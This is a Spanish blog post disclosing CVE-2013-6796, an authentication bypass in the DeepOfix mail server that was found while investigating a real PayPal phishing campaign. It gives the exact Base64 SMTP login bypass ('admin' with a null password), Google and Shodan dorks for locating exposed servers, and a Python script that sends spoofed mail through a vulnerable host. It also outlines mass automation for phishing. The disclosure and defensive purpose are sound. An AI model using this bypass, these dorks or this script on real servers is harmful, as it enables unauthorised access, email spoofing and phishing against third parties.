Blog

Descubriendo un 0-day y una campaña de Phishing

Buenas a todos! En el post de hoy os voy a mostrar un 0-day que descubrimos en Pragsis-Security, lugar donde trabajo hace un par de meses. El 0-day afecta al producto DeepOfix, una ISO de software libre que distribuye DeepRootLinux.

DeepOfix para quien no lo conozca es una solución muy practica para poder montar nuestro propio servidor de correos, de tal forma que podamos mandar correos con SMTP, consultarlos con IMAP, acceder al servidor mediante FTP o SSH y la posibilidad de utilizar la web que nos monta de forma automática a modo de gestor de correos como pueda ser Gmail (Lógicamente no es tan visual xD).

Antes de explicar el 0-day tenemos que ver cómo funciona un poco por dentro el servidor. Para empezar vamos a montarnos el servidor en una maquina virtual para poder hacer las pruebas correspondientes. Por lo que primero debemos descargarnos la ISO de la web: http://www.deeproot.in/deepofix

0_day_deepofix_1

 

Nos pedirá que metamos el nombre y demás pero podéis poner lo que queráis porque no os mandan nada al correo.

0_day_deepofix_2

 

Ahora nos aparecen dos para descargarnos y elegimos el primero.

0_day_deepofix_3

 

Una vez tenemos descargada la ISO deberemos montarla en Virtual Box o VMware, yo la voy a montar en Virtual Box.

0_day_deepofix_4

 

Antes de arrancar la maquina virtual debemos de configurar las interfaces de red. Yo en mi caso tengo una interfaz con NAT (IP:192.168.56.101) y otra con el Host-only (10.0.2.15).

0_day_deepofix_5

 

0_day_deepofix_6

 

Una vez tenemos esto configurado encendemos la maquina virtual y configuramos la IP de forma estática, aunque si os equivocáis no pasa nada ya que una vez estemos dentro de la maquina podemos modificar el fichero /etc/network/interfaces y dejarlo de la siguiente manera:

0_day_deepofix_7

 

0_day_deepofix_8

 

Una vez modificado reiniciamos la configuración de las interfaces de red mediante “/etc/init.d/networking restart”.

Ahora ya nos podemos comunicar con la maquina virtual como podemos ver a continuación…

0_day_deepofix_9

 

0_day_deepofix_10

 

Antes de pasar al 0-day descubierto hay que tener muy claro que DeepOfix monta una serie de servicios como puede ser SMTP que nos permitirá mandar correos, pero para entrar a cualquiera de estos servicios es necesario estar autenticado en el sistema. Concretamente DeepOfix realiza la autenticación de todos los servicios contra un LDAP donde tiene almacenado los usuarios.

Una vez conocemos todo esto, ya está todo listo, ahora vamos a ver de qué trata el 0-day y como explotarlo de forma manual y automática.

El 0-day se basa en que el LDAP del DeepOfix tiene activo por defecto las conexiones bind (anonimas), pero lógicamente si nos conectamos al STMP como anónimo no nos dejara mandar correos, por lo que… ¿Qué hemos hecho?

Pues bien, nos dimos cuenta de que además de permitir las conexiones bind podía ser posible que si introducíamos un usuario que se encontrara en el sistema, como por ejemplo “admin” que esta siempre debido a que viene por defecto, y NO introducíamos contraseña podríamos entrar pero… Los de DeepOfix ya habían pensado en ello y no es posible mandar ninguna contraseña nula (Que no vacía OJO! “” != null), peeeeeero, no habían pensado en que el servicio SMTP permite autenticarse de otra forma, que es mediante Base64.

Es decir, nosotros nos conectamos al SMTP del servidor y vemos lo siguiente…

0_day_deepofix_11

 

Como vemos hemos intentado logearnos y no nos deja, vamos a probar ahora con Base64 mediante “auth login”. En este caso veremos que nos aparecerá la cadena de “Usuario:” y “Password:” en Base64, nosotros meteremos el usuario “admin” en Base64 que es “YWRtaW4=” y la password null o ” en Base64 que y esto es lo IMPORTANTE, no es una cadena nula, sino “AA==”, y será esto lo que nos permita tener acceso, porque le estamos mandando null pero definido en una cadena…

0_day_deepofix_12

 

Como acabamos de ver nos hemos logeado de forma correcta en el servicio de SMTP por lo que ya podríamos mandar correos sin problemas desde este servidor.

Ahora lo que miramos fue… ¿Podemos encontrar más servidores con DeepOfix? Lógicamente si, solo hace falta buscar en Google o en Shodan para encontrar lo siguiente:

Dork de Google: inurl:”/mail/src/login.php” intitle:”Login”

0_day_deepofix_13

 

Dork de Shodan: DeepOfix

0_day_deepofix_14

 

Como vemos sería posible comprometer bastantes servidores, lo cual podría utilizarse entre otras cosas para mandar SPAM pero… Lógicamente un atacante no realizaría a mano todo es, sino que lo automatizaría, pues bien, a modo de ejemplo hice un pequeño script en python que me permita mandar correos que es el siguiente:

       import smtplib
       # Seleccionamos el que lo manda
       sender = 'security@nsa.gov'
       receivers = ['test_POC@mailinator.com']

       # Primero lo que seria la cabecera y despues el mensaje
       message = """
             NSA is watching you!
             This is a really important message 2.. xD
       """

       # Mandamos el correo
       try:
             server = smtplib.SMTP('192.168.56.101', 25)
             # Auth login --> Admin/null      
             server.docmd("auth login")
             server.docmd("YWRtaW4=")
             server.docmd("AA==")
             server.sendmail(sender, receivers, message)        
             print "Successfully sent email"
       except:
          print "Error: unable to send email"

 

El script lo único que hace es automatizar el conectarse a un host y mandar un correo con un mensaje pero sin receptor ni emisor. Para mejorarlo mas únicamente tendríamos que componer bien el mensaje que estamos mandando y si fuéramos un atacante real lo que haríamos seria de una forma muy sencilla utilizar la API de Google y la de Shodan para que nos devuelva todas las IPs que son vulnerables. Una vez tenemos eso solo tendríamos que ir recorriendo un array de IPs y en cada host mandar todos los mails que quisiéramos suplantando identidades por ejemplo para realizar Phishing a una lista que tuviéramos de correos.

0_day_deepofix_15

 

0_day_deepofix_16

 

Y os preguntareis… ¿Por qué se pusieron a buscar esto? Pues muy sencillo, no nos pusimos, sino que vimos en uno de los honeypots que tenemos montados desde Bidoop-Security que había mucho tráfico desde servidor de correo que por casualidad era un DeepOfix.

Cuando investigamos un poco vimos que había alguien que estaba mandando correos con una cuenta autenticada, por lo que cambiamos las password y… Seguía mandando correos. Abrimos el Wireshark y vimos que era lo que estaba pasando y nos dimos cuenta que se estaba logeando en Base64, por lo que buscamos como quien se estaba logeando y vimos que como admin y con la pass nula… Buscamos si existía alguna vulnerabilidad conocida del DeepOfix que causara eso y nada.

0_day_deepofix_17

 

Seguimos investigando un poco hasta que Gerardo Vazquez, administrador de sistemas de Pragsis se dio cuenta de que por defecto DeepOfix no comprobaba que la pass en el LDAP fuera nula, lo cual permitía abrir una sesión “anonymous” pero con una cuenta de usuario sin necesidad de saber la contraseña. Ya teníamos la vulnerabilidad que estaba utilizando el atacante, le cortamos el acceso mediante el firewall y replicamos como os he explicado la vulnerabilidad.

Una vez hecho esto nos dimos cuenta que cualquier servicio que se autenticara contra el LDAP en DeepOfix iba a sufrir la misma vulnerabilidad por defecto por lo que redactamos el 0-day (Relativo por como habéis visto por lo menos alguien ya lo conocía y hacia uso de él, pero no estaba reportado). Además tras probar nos dimos cuenta de que TODAS las versiones de DeepOfix son vulnerables.

Y antes de terminar… Como había dicho a lo largo del post, un objetivo muy jugoso para los atacantes podría ser tomar el control de gran cantidad de servidores para poder hacer campañas de Phishing… Pues no era ni más ni menos que lo que estaba intentando el atacante, en este caso era una campaña de Phishing contra Pay-Pal donde encima indicaba al usuario si podía abrir el correo con un navegador (Con el fin posiblemente de intentar infectarle con malware)

0_day_deepofix_18

 

0_day_deepofix_19

 

Tras todo esto, localizamos la IP, reportamos a las autoridades la situación y reportamos el 0-day que estaban utilizando los atacantes. Aquí os dejo el Advisory que dimos desde el departamento de seguridad de Pragsis. El codigo CVE asignado a la vulnerabilidad es el CVE-2013-6796.

Advisory

 

Hasta aquí el post de hoy, espero que os haya gustado este ejemplo real.

Un saludo,

Eduardo Arriols – eduardo@highsec.es – @_Hykeos

  1. R0dW3
    R0dW311-19-2013

    Enhorabuena por el 0-day Eduardo!!
    Muy buen post.

    Gracias.

  2. Anonymous
    Anonymous11-26-2013

    Muy ilustrativo, buen trabajo!

Leave a Reply

*

    No Twitter Messages